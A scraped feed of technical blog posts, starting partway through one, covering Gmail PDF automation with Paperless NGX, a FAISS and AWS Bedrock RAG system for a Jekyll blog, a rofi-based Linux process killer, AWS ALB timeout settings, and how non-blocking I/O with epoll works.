Persistent=true [Install] WantedBy=timers.target Enable and Start systemctl --user daemon-reload systemctl --user enable gmail-pdf-processor.timer systemctl --user start gmail-pdf-processor.timer systemctl --user status gmail-pdf-processor.timer Benefits Zero Manual Work: Documents are automatically extracted, decrypted, and organized Searchable Archive: Paperless NGX OCRs all documents, making them fully searchable Mobile Access: Access all your documents on the go with the Paperless NGX Android app Backup: Documents are stored locally and optionally backed up to Google Drive Notifications: Get notified about new documents via push notifications Organization: Files are automatically organized by date and subject Security Considerations Store your config.yaml with proper permissions (chmod 600) Use app passwords instead of your main Gmail password Keep your Paperless NGX instance behind a VPN or reverse proxy with authentication Regularly update dependencies for security patches Conclusion This automation has saved me countless hours of manual document management. The combination of Gmail scanning, PDF decryption, and Paperless NGX creates a seamless document management pipeline that runs completely unattended.\nThe code is modular and extensible, making it easy to add new document types or integrate with other services. Feel free to adapt it to your needs!\n","permalink":"https://madhur.co.in/blog/2025/12/29/automating-gmail-pdf-extraction-paperless.html","summary":"\u003cp\u003eManaging financial documents like bank statements, credit card bills, and tax documents can be tedious. I\u0026rsquo;ve automated this process with a Python script that:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eScans Gmail for emails with PDF attachments\u003c/li\u003e\n\u003cli\u003eExtracts and decrypts password-protected PDFs\u003c/li\u003e\n\u003cli\u003eOrganizes files by date and subject\u003c/li\u003e\n\u003cli\u003eUploads documents to Paperless NGX for long-term storage and OCR\u003c/li\u003e\n\u003cli\u003eSends notifications via ntfy\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThis script runs daily via a systemd timer, ensuring I never miss important documents. All processed documents are accessible through the Paperless NGX web interface and mobile app, making it easy to access important documents on the go.\u003c/p\u003e","title":"Automating Gmail PDF Extraction and Paperless NGX Integration"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nHead over to the Complete source code on GitHub\nEver wanted to create a smart assistant that can answer questions specifically about your blog content? In this post, I\u0026rsquo;ll walk you through building a Retrieval Augmented Generation (RAG) system that indexes all your Jekyll blog posts in a vector database and uses AWS Bedrock Claude to provide intelligent answers based solely on your content.\nWhat We\u0026rsquo;re Building Our RAG system will:\n✅ Automatically discover and parse Jekyll blog posts ✅ Create semantic embeddings of blog content ✅ Store embeddings in a FAISS vector database ✅ Use AWS Bedrock Claude to answer questions ✅ Ensure responses are based only on blog content ✅ Provide source citations for transparency Architecture Overview Jekyll Blog Posts → Content Processing → Embeddings → Vector DB (FAISS) ↓ User Question → Query Embeddings → Similarity Search → Context Retrieval ↓ Context + Question → AWS Bedrock Claude → Contextualized Answer Why This Approach Works Traditional Search Limitations: Standard blog search relies on keyword matching, missing semantic relationships and context.\nRAG Advantages:\nSemantic Understanding: Vector embeddings capture meaning, not just keywords Context-Aware Responses: Claude understands nuanced technical concepts Source Attribution: Always cites which blog posts informed the answer Content Accuracy: Responses are grounded in your actual writing Prerequisites Before we dive in, ensure you have:\nA Jekyll blog with markdown posts Python 3.8+ environment AWS account with Bedrock access Basic familiarity with vector databases Core Components Explained 1. Content Discovery and Parsing The system automatically finds Jekyll posts in common locations:\npost_patterns = [ self.blog_path / \u0026#34;_posts\u0026#34; / \u0026#34;*.md\u0026#34;, self.blog_path / \u0026#34;_posts\u0026#34; / \u0026#34;*.markdown\u0026#34;, self.blog_path / \u0026#34;blog\u0026#34; / \u0026#34;*.md\u0026#34;, self.blog_path / \u0026#34;posts\u0026#34; / \u0026#34;*.md\u0026#34;, ] It then parses the frontmatter and content, extracting metadata like titles, dates, tags, and categories while cleaning the markdown for better indexing.\n2. Content Chunking Strategy Long blog posts are split into overlapping chunks to improve retrieval accuracy:\ndef chunk_content(self, content: str, max_tokens: int = 500, overlap: int = 50): \u0026#34;\u0026#34;\u0026#34;Split content into overlapping chunks for better retrieval.\u0026#34;\u0026#34;\u0026#34; tokens = self.tokenizer.encode(content) chunks = [] start = 0 while start \u0026lt; len(tokens): end = min(start + max_tokens, len(tokens)) chunk_tokens = tokens[start:end] chunk_text = self.tokenizer.decode(chunk_tokens) chunks.append(chunk_text) if end == len(tokens): break start = end - overlap return chunks Why Chunking Matters:\nImproved Precision: Smaller chunks mean more precise matches Context Preservation: Overlap ensures important context isn\u0026rsquo;t lost Efficient Processing: Manageable sizes for embedding models 3. Embedding Generation We use Sentence Transformers for creating semantic embeddings:\nself.embedding_model = SentenceTransformer(\u0026#39;all-MiniLM-L6-v2\u0026#39;) # Combine title and content for richer context text_to_embed = f\u0026#34;Title: {post.title}\\n\\nContent: {chunk}\u0026#34; embeddings = self.embedding_model.encode(all_chunks) The all-MiniLM-L6-v2 model provides excellent semantic understanding while being computationally efficient.\n4. FAISS Vector Database FAISS (Facebook AI Similarity Search) provides lightning-fast similarity search:\n# Create index optimized for cosine similarity dimension = embeddings.shape[1] self.faiss_index = faiss.IndexFlatIP(dimension) # Normalize for cosine similarity faiss.normalize_L2(embeddings) self.faiss_index.add(embeddings.astype(\u0026#39;float32\u0026#39;)) 5. AWS Bedrock Integration The system uses Claude 3.5 Sonnet via Bedrock for intelligent responses:\ndef query_bedrock_claude(self, prompt: str, context: str) -\u0026gt; str: system_prompt = f\u0026#34;\u0026#34;\u0026#34;You are an AI assistant that answers questions based ONLY on the provided blog post content. Rules: 1. ONLY use information from the provided blog post excerpts 2. If the blog posts don\u0026#39;t contain enough information, say so explicitly 3. Always cite which blog post(s) you\u0026#39;re referencing by title 4. Do not use any external knowledge beyond what\u0026#39;s in the blog posts 5. Be concise but thorough in your responses Blog post content: {context}\u0026#34;\u0026#34;\u0026#34; response = self.bedrock_client.invoke_model( modelId=\u0026#39;anthropic.claude-3-5-sonnet-20241022-v2:0\u0026#39;, body=json.dumps({ \u0026#34;anthropic_version\u0026#34;: \u0026#34;bedrock-2023-05-31\u0026#34;, \u0026#34;max_tokens\u0026#34;: 1000, \u0026#34;system\u0026#34;: system_prompt, \u0026#34;messages\u0026#34;: [{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: f\u0026#34;Question: {prompt}\u0026#34;}] }) ) return json.loads(response[\u0026#39;body\u0026#39;].read())[\u0026#39;content\u0026#39;][0][\u0026#39;text\u0026#39;] Installation and Setup 1. Install Dependencies pip install boto3 sentence-transformers faiss-cpu python-frontmatter tiktoken numpy 2. Configure AWS Credentials Choose your preferred method:\n# Option A: AWS CLI aws configure # Option B: Environment Variables export AWS_ACCESS_KEY_ID=your_access_key export AWS_SECRET_ACCESS_KEY=your_secret_key # Option C: Use IAM roles (if running on EC2) 3. Enable Bedrock Model Access Navigate to AWS Bedrock console in your region (ap-south-1) Go to \u0026ldquo;Model access\u0026rdquo; in the left sidebar Request access to Claude models if not already enabled Wait for approval (usually instant for Claude models) 4. Update Configuration Modify the blog path in the script to match your Jekyll site:\nrag = JekyllBlogRAG( blog_path=\u0026#34;/your/jekyll/blog/path\u0026#34;, aws_region=\u0026#34;ap-south-1\u0026#34; ) Usage Examples Once set up, you can ask sophisticated questions:\nTechnical Implementation Questions:\nQ: \u0026#34;How do I implement authentication in React applications?\u0026#34; A: Based on your blog post \u0026#34;React Authentication Best Practices\u0026#34;, you can implement authentication using JWT tokens with... Architecture and Design:\nQ: \u0026#34;What are the pros and cons of microservices architecture?\u0026#34; A: In your post \u0026#34;Microservices vs Monoliths: A Practical Guide\u0026#34;, you outlined several key advantages of microservices... Performance Optimization:\nQ: \u0026#34;How can I optimize database queries for better performance?\u0026#34; A: Your blog post \u0026#34;Database Optimization Techniques\u0026#34; covers several strategies including indexing, query optimization... Performance Considerations Indexing Performance Initial Setup: ~2-5 minutes for 100 blog posts Query Time: ~100-200ms per question Memory Usage: ~50MB for 1000 post chunks Optimization Tips Chunk Size Tuning: Experiment with chunk sizes (300-800 tokens) Embedding Model Selection: Balance accuracy vs speed Index Persistence: Save/load indices to avoid re-indexing Batch Processing: Process multiple queries together Advanced Features You Can Add 1. Incremental Updates Track file modification times to only re-index changed posts:\ndef needs_reindexing(self, file_path: Path) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34;Check if file needs re-indexing based on modification time.\u0026#34;\u0026#34;\u0026#34; last_indexed = self.get_last_indexed_time(file_path) file_mtime = file_path.stat().st_mtime return file_mtime \u0026gt; last_indexed 2. Semantic Filtering Add filters for categories, tags, or date ranges:\ndef search_with_filters(self, query: str, categories: List[str] = None, date_range: tuple = None) -\u0026gt; List[Dict]: \u0026#34;\u0026#34;\u0026#34;Search with additional filtering criteria.\u0026#34;\u0026#34;\u0026#34; results = self.search_similar_chunks(query, top_k=20) if categories: results = [r for r in results if any(cat in r[\u0026#39;categories\u0026#39;] for cat in categories)] if date_range: results = [r for r in results if date_range[0] \u0026lt;= r[\u0026#39;date\u0026#39;] \u0026lt;= date_range[1]] return results[:5] # Return top 5 after filtering 3. Multi-Modal Support Extend to handle images and code snippets:\ndef extract_code_blocks(self, content: str) -\u0026gt; List[Dict]: \u0026#34;\u0026#34;\u0026#34;Extract and index code blocks separately.\u0026#34;\u0026#34;\u0026#34; code_pattern = r\u0026#39;```(\\w+)?\\n(.*?)\\n```\u0026#39; matches = re.findall(code_pattern, content, re.DOTALL) return [{\u0026#39;language\u0026#39;: lang, \u0026#39;code\u0026#39;: code} for lang, code in matches] Troubleshooting Common Issues 1. No Blog Posts Found # Debug post discovery post_files = self.find_posts() print(f\u0026#34;Checking paths: {[str(p) for p in post_patterns]}\u0026#34;) print(f\u0026#34;Found files: {[str(f) for f in post_files]}\u0026#34;) 2. AWS Bedrock Access Errors Verify region configuration matches your model access Check IAM permissions for Bedrock actions Confirm model access is granted in Bedrock console 3. Memory Issues with Large Blogs Reduce chunk size or increase overlap Process posts in batches Use FAISS indices with compression Security Considerations 1. Content Filtering Ensure sensitive information isn\u0026rsquo;t indexed:\ndef should_index_post(self, post: BlogPost) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34;Check if post should be indexed (skip drafts, private posts).\u0026#34;\u0026#34;\u0026#34; if \u0026#39;draft\u0026#39; in post.categories or \u0026#39;private\u0026#39; in post.tags: return False return True 2. Query Sanitization Validate and sanitize user inputs:\ndef sanitize_query(self, query: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Sanitize user query to prevent injection attacks.\u0026#34;\u0026#34;\u0026#34; # Remove potentially harmful characters return re.sub(r\u0026#39;[\u0026lt;\u0026gt;\\\u0026#34;\\\u0026#39;%;()\u0026amp;+]\u0026#39;, \u0026#39;\u0026#39;, query).strip() 3. Rate Limiting Implement rate limiting for production use:\nfrom time import time from collections import defaultdict class RateLimiter: def __init__(self, max_requests: int = 10, time_window: int = 60): self.max_requests = max_requests self.time_window = time_window self.requests = defaultdict(list) def allow_request(self, client_id: str) -\u0026gt; bool: now = time() client_requests = self.requests[client_id] # Remove old requests client_requests[:] = [req_time for req_time in client_requests if now - req_time \u0026lt; self.time_window] if len(client_requests) \u0026lt; self.max_requests: client_requests.append(now) return True return False Cost Optimization AWS Bedrock Costs Claude 3.5 Sonnet: ~$0.003 per 1K input tokens, ~$0.015 per 1K output tokens Typical Query: ~$0.01-0.05 per question Monthly Budget: ~$10-50 for moderate usage Cost Reduction Strategies Caching: Store responses for common queries Batch Processing: Group similar questions Model Selection: Use smaller models for simpler queries Context Optimization: Send only relevant chunks Future Enhancements 1. Web Interface Build a React/Vue frontend:\n// Example API integration const askQuestion = async (question) =\u0026gt; { const response = await fetch(\u0026#39;/api/ask\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, body: JSON.stringify({question}) }); return response.json(); }; 2. Analytics Dashboard Track popular queries and content performance:\ndef log_query_analytics(self, query: str, results: List[Dict], response_time: float): \u0026#34;\u0026#34;\u0026#34;Log query analytics for insights.\u0026#34;\u0026#34;\u0026#34; analytics_data = { \u0026#39;timestamp\u0026#39;: datetime.now(), \u0026#39;query\u0026#39;: query, \u0026#39;num_results\u0026#39;: len(results), \u0026#39;response_time\u0026#39;: response_time, \u0026#39;top_posts\u0026#39;: [r[\u0026#39;title\u0026#39;] for r in results[:3]] } # Store in database or analytics service self.store_analytics(analytics_data) 3. Multi-Language Support Extend to support multiple languages:\ndef detect_language(self, content: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Detect content language for appropriate processing.\u0026#34;\u0026#34;\u0026#34; from langdetect import detect return detect(content) def get_embedding_model(self, language: str) -\u0026gt; SentenceTransformer: \u0026#34;\u0026#34;\u0026#34;Select appropriate embedding model for language.\u0026#34;\u0026#34;\u0026#34; models = { \u0026#39;en\u0026#39;: \u0026#39;all-MiniLM-L6-v2\u0026#39;, \u0026#39;hi\u0026#39;: \u0026#39;sentence-transformers/paraphrase-multilingual-MiniLM-L12-v2\u0026#39;, # Add more language models as needed } return SentenceTransformer(models.get(language, models[\u0026#39;en\u0026#39;])) Conclusion Building a RAG system for your Jekyll blog creates a powerful way to make your content more accessible and useful. The combination of semantic search with Claude\u0026rsquo;s reasoning capabilities provides responses that are both accurate and contextually rich.\nThe system we\u0026rsquo;ve built offers:\nIntelligent Search: Goes beyond keyword matching Authoritative Responses: Always grounded in your actual content Scalable Architecture: Handles growing blog content efficiently Cost-Effective Operation: Reasonable costs for individual blogs Whether you\u0026rsquo;re building this for personal use or considering it for a larger content site, the principles and code provided give you a solid foundation to build upon.\nResources and Next Steps Complete source code on GitHub AWS Bedrock Documentation FAISS Documentation Sentence Transformers Guide ","permalink":"https://madhur.co.in/blog/2025/12/01/jekyll-blog-rag-vector-db.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eHead over to the \u003ca href=\"https://github.com/madhur/jekyll-blog-rag\"\u003eComplete source code on GitHub\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eEver wanted to create a smart assistant that can answer questions specifically about your blog content? In this post, I\u0026rsquo;ll walk you through building a Retrieval Augmented Generation (RAG) system that indexes all your Jekyll blog posts in a vector database and uses AWS Bedrock Claude to provide intelligent answers based solely on your content.\u003c/p\u003e","title":"Building a RAG System for Your Jekyll Blog with AWS Bedrock Claude"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI to help announce and explain the features of Rofi Process Killer. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nIntroducing Rofi Process Killer: A Better Way to Manage Linux Processes Ever found yourself hunting through htop or typing ps aux | grep just to kill a misbehaving process? If you\u0026rsquo;re a Linux user who loves efficient workflows, I\u0026rsquo;ve got something that might change how you handle process management forever.\nToday, I\u0026rsquo;m excited to announce Rofi Process Killer – a sleek, keyboard-driven process manager that integrates seamlessly with the popular rofi application launcher.\nWhat is Rofi Process Killer? Rofi Process Killer is a custom rofi module that transforms process management from a command-line chore into an intuitive, visual experience. With just a few keystrokes, you can:\nView all running processes with complete command lines, CPU usage, and memory consumption Kill processes instantly with intelligent graceful termination (SIGTERM) followed by force kill (SIGKILL) if needed See full command arguments – no more truncated process names Filter processes in real-time using rofi\u0026rsquo;s built-in search capabilities Why I Built This As someone who frequently works with multiple development environments, Docker containers, and various system processes, I was constantly frustrated by the traditional process management workflow:\nOpen terminal Run ps aux or htop Search for the problematic process Note down the PID Kill it with kill command This felt clunky, especially when using tiling window managers where quick, keyboard-driven actions are paramount. I wanted something that felt as smooth as launching applications with rofi – and that\u0026rsquo;s exactly what this tool delivers.\nKey Features Complete Process Information Unlike basic process viewers, Rofi Process Killer shows you everything you need:\nProcess ID (PID) CPU usage percentage Memory usage percentage Process owner Full command line with all arguments (no truncation!) Smart Text Wrapping Long command lines don\u0026rsquo;t get cut off – they wrap intelligently across multiple lines, so you can see exactly what each process is doing.\nSafe Process Termination The tool follows best practices for process management:\nFirst attempts graceful termination (SIGTERM) If the process doesn\u0026rsquo;t respond, automatically escalates to force kill (SIGKILL) Provides desktop notifications for feedback Beautiful Dark Theme Includes a custom rofi theme optimized for process management with:\nClean, readable monospace font Dark color scheme that\u0026rsquo;s easy on the eyes Proper spacing for wrapped text Visual distinction between normal and selected processes Installation For Arch Linux Users # Install from AUR yay -S rofi-process-killer # Or install manually from GitHub git clone https://github.com/madhur/rofi-process-killer.git cd rofi-process-killer chmod +x rofi-process-killer.sh cp rofi-process-killer.sh ~/.local/bin/ cp process-killer.rasi ~/.config/rofi/themes/ Usage Launch with a simple command:\nrofi -modi \u0026#34;processes:rofi-process-killer\u0026#34; -show processes -theme ~/.config/rofi/themes/process-killer.rasi Or create a keyboard shortcut in your window manager:\n# i3/sway example bindsym $mod+Shift+p exec rofi -modi \u0026#34;processes:rofi-process-killer\u0026#34; -show processes Perfect for Power Users This tool shines in environments where efficiency matters:\nTiling Window Managers: i3, sway, bspwm, etc. Development Workflows: Quickly kill runaway dev servers, Docker containers, or build processes System Administration: Fast process management without leaving your current workspace General Productivity: Any scenario where you need quick access to process management Technical Implementation For those curious about the internals, the tool is built as a rofi script mode that:\nUses ps auxww with unlimited width to capture complete command lines Implements intelligent process filtering to exclude kernel threads Provides error handling for permission-denied scenarios Integrates with the desktop notification system for user feedback The custom rofi theme leverages advanced CSS-like styling to enable text wrapping and optimize the visual layout for process information.\nWhat\u0026rsquo;s Next? I\u0026rsquo;m already working on several enhancements:\nProcess filtering options (by user, CPU usage, memory usage) Process tree view to show parent-child relationships Resource usage graphs for visual process monitoring Integration with systemd for service management Configuration file for customizable display options Try It Today Ready to streamline your process management workflow?\n🔗 GitHub Repository: https://github.com/madhur/rofi-process-killer\nThe repository includes:\nComplete installation instructions Usage examples and screenshots Custom theme files Keyboard shortcut configurations for popular window managers Contributing This is an open-source project, and I welcome contributions! Whether you want to:\nReport bugs or suggest features Improve the documentation Add new functionality Create additional themes Feel free to open issues or submit pull requests on GitHub.\nFinal Thoughts Rofi Process Killer represents what I love about the Linux ecosystem – the ability to create tools that perfectly fit your workflow. It\u0026rsquo;s fast, efficient, and keyboard-driven, embodying the Unix philosophy of doing one thing well.\nIf you\u0026rsquo;re someone who appreciates well-crafted developer tools and efficient workflows, give it a try. I think you\u0026rsquo;ll find it becomes an indispensable part of your daily Linux experience.\nHave you tried Rofi Process Killer? I\u0026rsquo;d love to hear your feedback! Connect with me on GitHub or share your experience in the comments below.\nTags: #Linux #Rofi #ProcessManagement #OpenSource #ProductivityTools #TilingWindowManagers #Developer Tools\n","permalink":"https://madhur.co.in/blog/2025/11/01/rofi-process-killer.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI to help announce and explain the features of Rofi Process Killer. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"introducing-rofi-process-killer-a-better-way-to-manage-linux-processes\"\u003eIntroducing Rofi Process Killer: A Better Way to Manage Linux Processes\u003c/h1\u003e\n\u003cp\u003eEver found yourself hunting through \u003ccode\u003ehtop\u003c/code\u003e or typing \u003ccode\u003eps aux | grep\u003c/code\u003e just to kill a misbehaving process? If you\u0026rsquo;re a Linux user who loves efficient workflows, I\u0026rsquo;ve got something that might change how you handle process management forever.\u003c/p\u003e","title":"Rofi Process Killer"},{"content":" Author\u0026rsquo;s Note: I recently encountered this exact library issue. After solving it, I used Claude AI to help me structure this troubleshooting guide based on my experience. The problem and solution are genuine - I just wanted to create a quick resource that others could benefit from.\nALB Idle Timeout Configuration: Best Practices to Prevent 5xx Errors If you\u0026rsquo;ve ever encountered mysterious 502 Bad Gateway or 504 Gateway Timeout errors from your AWS Application Load Balancer (ALB), you\u0026rsquo;re not alone. Many of these issues stem from improperly configured timeout settings between your ALB and backend applications. In this article, we\u0026rsquo;ll explore the best practices for configuring ALB idle timeouts.\nUnderstanding the Problem AWS Application Load Balancers manage connections between clients and your backend applications. When timeout configurations are misaligned, you create race conditions that result in intermittent 5xx errors and degraded user experience.\nThe root cause typically involves two types of timeouts that must work in harmony:\nRequest timeouts: How long to wait for a single request/response cycle Keep-alive (idle) timeouts: How long to maintain connections between requests Request Timeout Best Practices The Golden Rule: Application Timeout \u0026lt; ALB Timeout Your application\u0026rsquo;s request timeout should always be shorter than your ALB\u0026rsquo;s timeout. Here\u0026rsquo;s the recommended hierarchy:\nALB Request Timeout: 60 seconds (default) Application Timeout: 50-55 seconds Database/External API Timeout: 45 seconds or less Why This Matters When your application timeout equals or exceeds the ALB timeout, you create a dangerous race condition:\nRequest arrives at ALB and forwards to your application Both timers start counting down simultaneously Application timeout hits first and closes the connection ALB is still waiting for a response when connection terminates ALB generates 5xx error instead of receiving your application\u0026rsquo;s graceful error response Keep-Alive Timeout Best Practices The Reverse Rule: Application Keep-Alive \u0026gt; ALB Idle Timeout Unlike request timeouts, keep-alive timeouts follow the opposite pattern:\nALB Idle Timeout: 60 seconds (default) Application Keep-Alive: 65+ seconds Database Connection Pool Idle: 70+ seconds Why Application Keep-Alive Should Be Higher If your application\u0026rsquo;s keep-alive timeout is shorter than ALB\u0026rsquo;s idle timeout:\nClient completes request through ALB to application Application closes connection after its shorter keep-alive period ALB still considers connection active and attempts reuse Next request fails with 502 Bad Gateway because connection is closed Advanced Configuration Scenarios High-Traffic Applications For applications handling high request volumes:\nALB Idle Timeout: 30 seconds (reduced) Application Keep-Alive: 35 seconds Request Timeout: 25 seconds Shorter timeouts free up connections faster and improve resource utilization.\nLong-Running Operations For applications with legitimate long-running operations:\nALB Request Timeout: 300 seconds (5 minutes) Application Timeout: 280 seconds Keep-Alive: 310 seconds Consider moving truly long operations to asynchronous processing with status polling endpoints.\nMicroservices Architecture For service-to-service communication:\nExternal ALB (Internet-facing): - Request Timeout: 60s - Idle Timeout: 60s Internal ALB (Service-to-service): - Request Timeout: 30s - Idle Timeout: 30s Application Configuration: - Request Timeout: 25s - Keep-Alive: 35s Monitoring and Troubleshooting Key Metrics to Monitor ALB CloudWatch Metrics:\nHTTPCode_ELB_5XX_Count: Track 5xx errors from ALB TargetResponseTime: Monitor backend response times ActiveConnectionCount: Watch connection patterns Application Metrics:\nConnection pool utilization Request timeout occurrences Keep-alive connection reuse rates Common Error Patterns 502 Bad Gateway:\nOften indicates application closed connection unexpectedly Check: Application keep-alive \u0026lt; ALB idle timeout Check: Application crashed or became unresponsive 504 Gateway Timeout:\nALB timeout expired waiting for response Check: Application timeout ≥ ALB request timeout Check: Long-running operations without proper timeout handling Debugging Commands Test connection behavior:\n# Test keep-alive behavior curl -H \u0026#34;Connection: keep-alive\u0026#34; -v http://your-alb-endpoint/ # Monitor connection reuse curl -H \u0026#34;Connection: keep-alive\u0026#34; -v \\ http://your-alb-endpoint/endpoint1 \\ http://your-alb-endpoint/endpoint2 Check ALB configuration:\naws elbv2 describe-load-balancer-attributes \\ --load-balancer-arn arn:aws:elasticloadbalancing:... Best Practices Summary Request Timeouts: Application timeout should be 10-15% shorter than ALB timeout Keep-Alive Timeouts: Application keep-alive should be 5-10 seconds longer than ALB idle timeout Monitor Religiously: Set up alerts for 5xx error rates and connection metrics Test Thoroughly: Use load testing tools to validate timeout behavior under various conditions Document Configuration: Maintain clear documentation of timeout values across your infrastructure Gradual Changes: Modify timeout values incrementally and monitor impact Conclusion Proper timeout configuration is crucial for maintaining reliable web applications behind AWS Application Load Balancers. By following the principles outlined in this guide—keeping application request timeouts shorter than ALB timeouts and application keep-alive timeouts longer than ALB idle timeouts—you can eliminate most timeout-related 5xx errors.\nRemember that timeout configuration is not a one-size-fits-all solution. Consider your application\u0026rsquo;s specific requirements, traffic patterns, and operational constraints when implementing these best practices. Regular monitoring and testing will help you fine-tune these settings for optimal performance and reliability.\nThe investment in properly configuring these timeouts will pay dividends in improved user experience, reduced operational overhead, and fewer 3 AM troubleshooting sessions.\n","permalink":"https://madhur.co.in/blog/2025/10/01/configuring-aws-alb-timeout.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eAuthor\u0026rsquo;s Note:\u003c/strong\u003e I recently encountered this exact library issue. After solving it, I used Claude AI to help me structure this troubleshooting guide based on my experience. The problem and solution are genuine - I just wanted to create a quick resource that others could benefit from.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"alb-idle-timeout-configuration-best-practices-to-prevent-5xx-errors\"\u003eALB Idle Timeout Configuration: Best Practices to Prevent 5xx Errors\u003c/h3\u003e\n\u003cp\u003eIf you\u0026rsquo;ve ever encountered mysterious 502 Bad Gateway or 504 Gateway Timeout errors from your AWS Application Load Balancer (ALB), you\u0026rsquo;re not alone. Many of these issues stem from improperly configured timeout settings between your ALB and backend applications. In this article, we\u0026rsquo;ll explore the best practices for configuring ALB idle timeouts.\u003c/p\u003e","title":"Configuring AWS ALB Timeouts"},{"content":"When I first learned about non-blocking I/O, I had a burning question: how does a process know when I/O operations complete? Is there some background kernel process constantly checking for data and then notifying user-space applications? The answer reveals one of the most elegant solutions in systems programming.\nThe Problem with Blocking I/O To understand non-blocking I/O, let\u0026rsquo;s first examine what happens with traditional blocking I/O. When your program makes a system call like read() or recv(), the calling thread is suspended until the operation completes. For a web server handling thousands of connections, this means you\u0026rsquo;d need thousands of threads – each consuming memory and creating context-switching overhead.\n// Blocking I/O - thread waits here until data arrives int bytes = recv(socket_fd, buffer, sizeof(buffer), 0); This approach doesn\u0026rsquo;t scale well. A server with 10,000 connections would need 10,000 threads, consuming gigabytes of memory just for thread stacks.\nHow Non-Blocking I/O Works Non-blocking I/O flips this model on its head. Instead of waiting for I/O to complete, operations return immediately with either data (if available) or an indication that no data is ready.\n// Non-blocking I/O - returns immediately int flags = fcntl(socket_fd, F_GETFL, 0); fcntl(socket_fd, F_SETFL, flags | O_NONBLOCK); int bytes = recv(socket_fd, buffer, sizeof(buffer), 0); if (bytes == -1 \u0026amp;\u0026amp; errno == EAGAIN) { // No data available right now, try again later } But this raises the obvious question: how do you know when to \u0026ldquo;try again later\u0026rdquo;? The naive approach would be to continuously poll all file descriptors in a loop, but that would waste enormous amounts of CPU cycles.\nThe Event Loop: Efficient I/O Multiplexing Modern operating systems provide sophisticated APIs to efficiently monitor multiple file descriptors. This is where the \u0026ldquo;event loop\u0026rdquo; comes in – but it\u0026rsquo;s far more elegant than a simple while loop.\nLinux: epoll Linux provides epoll, which allows you to monitor hundreds or thousands of file descriptors efficiently:\n// Create an epoll instance int epoll_fd = epoll_create1(0); // Add a socket to the interest list struct epoll_event event; event.events = EPOLLIN; // Monitor for readable data event.data.fd = socket_fd; epoll_ctl(epoll_fd, EPOLL_CTL_ADD, socket_fd, \u0026amp;event); // Wait for events (this blocks until data is available) struct epoll_event events[MAX_EVENTS]; int ready_fds = epoll_wait(epoll_fd, events, MAX_EVENTS, -1); for (int i = 0; i \u0026lt; ready_fds; i++) { // Process ready file descriptor handle_ready_socket(events[i].data.fd); } The Key Optimization Here\u0026rsquo;s the crucial insight: epoll_wait() blocks until at least one file descriptor has data available. This means:\nNo busy waiting: The process sleeps when there\u0026rsquo;s no work to do Efficient scaling: Monitoring 1,000 FDs is nearly as fast as monitoring 10 FDs Event-driven: You only process FDs that actually have data ready The computational complexity is O(number of ready events), not O(total FDs monitored). You could monitor 100,000 connections, but if only 10 have data ready, you only process 10 events.\nCross-Platform Event Mechanisms Different operating systems provide similar but distinct APIs:\nLinux: epoll (edge-triggered and level-triggered modes) BSD/macOS: kqueue (supports files, network, timers, and more) Windows: I/O Completion Ports (IOCP) with a different asynchronous model Portable: select and poll (available everywhere but less efficient) Real-World Example: A Simple HTTP Server Here\u0026rsquo;s how a basic non-blocking HTTP server might work:\nint server_fd = socket(AF_INET, SOCK_STREAM, 0); // Set up server socket and bind to port... fcntl(server_fd, F_SETFL, O_NONBLOCK); listen(server_fd, SOMAXCONN); int epoll_fd = epoll_create1(0); // Add server socket to epoll... while (1) { int ready = epoll_wait(epoll_fd, events, MAX_EVENTS, -1); for (int i = 0; i \u0026lt; ready; i++) { if (events[i].data.fd == server_fd) { // New connection int client_fd = accept(server_fd, NULL, NULL); fcntl(client_fd, F_SETFL, O_NONBLOCK); // Add client to epoll... } else { // Data ready on existing connection handle_client_request(events[i].data.fd); } } } This single-threaded server can handle thousands of concurrent connections efficiently.\nAnswering the Original Question So, to answer the original question: there\u0026rsquo;s no background kernel process constantly checking for data. Instead:\nThe kernel maintains readiness state for each file descriptor Your application explicitly asks \u0026ldquo;which FDs are ready?\u0026rdquo; using epoll_wait() or similar The kernel efficiently returns only the FDs that have data available Your application processes those ready FDs and then asks again It\u0026rsquo;s a pull model, not a push model. The application pulls information about ready file descriptors when it\u0026rsquo;s ready to process them.\nModern Frameworks and Languages This pattern is so fundamental that it\u0026rsquo;s built into many high-level frameworks:\nNode.js: Uses libuv, which wraps epoll/kqueue/IOCP Go: Goroutines use an internal poller for network operations Rust: Tokio provides async I/O built on these primitives Java: NIO uses select/epoll under the hood Python: asyncio leverages these same mechanisms Understanding non-blocking I/O helps you write more efficient programs and better understand how modern high-performance applications work under the hood.\nKey Takeaways Non-blocking I/O doesn\u0026rsquo;t use callbacks at the kernel level – it uses efficient polling mechanisms Event loops aren\u0026rsquo;t constantly spinning – they block until events are ready Modern OS APIs like epoll scale to thousands of connections with minimal overhead Single-threaded event loops can outperform multi-threaded blocking approaches for I/O-bound workloads The pattern is ubiquitous in modern programming languages and frameworks The elegance of non-blocking I/O lies in its simplicity: instead of creating threads for each connection, you let the kernel tell you when work is ready to be done.\nReferences:\nepoll(7) - Linux manual page kqueue(2) - FreeBSD manual page The C10K Problem How does non-blocking IO work under the hood 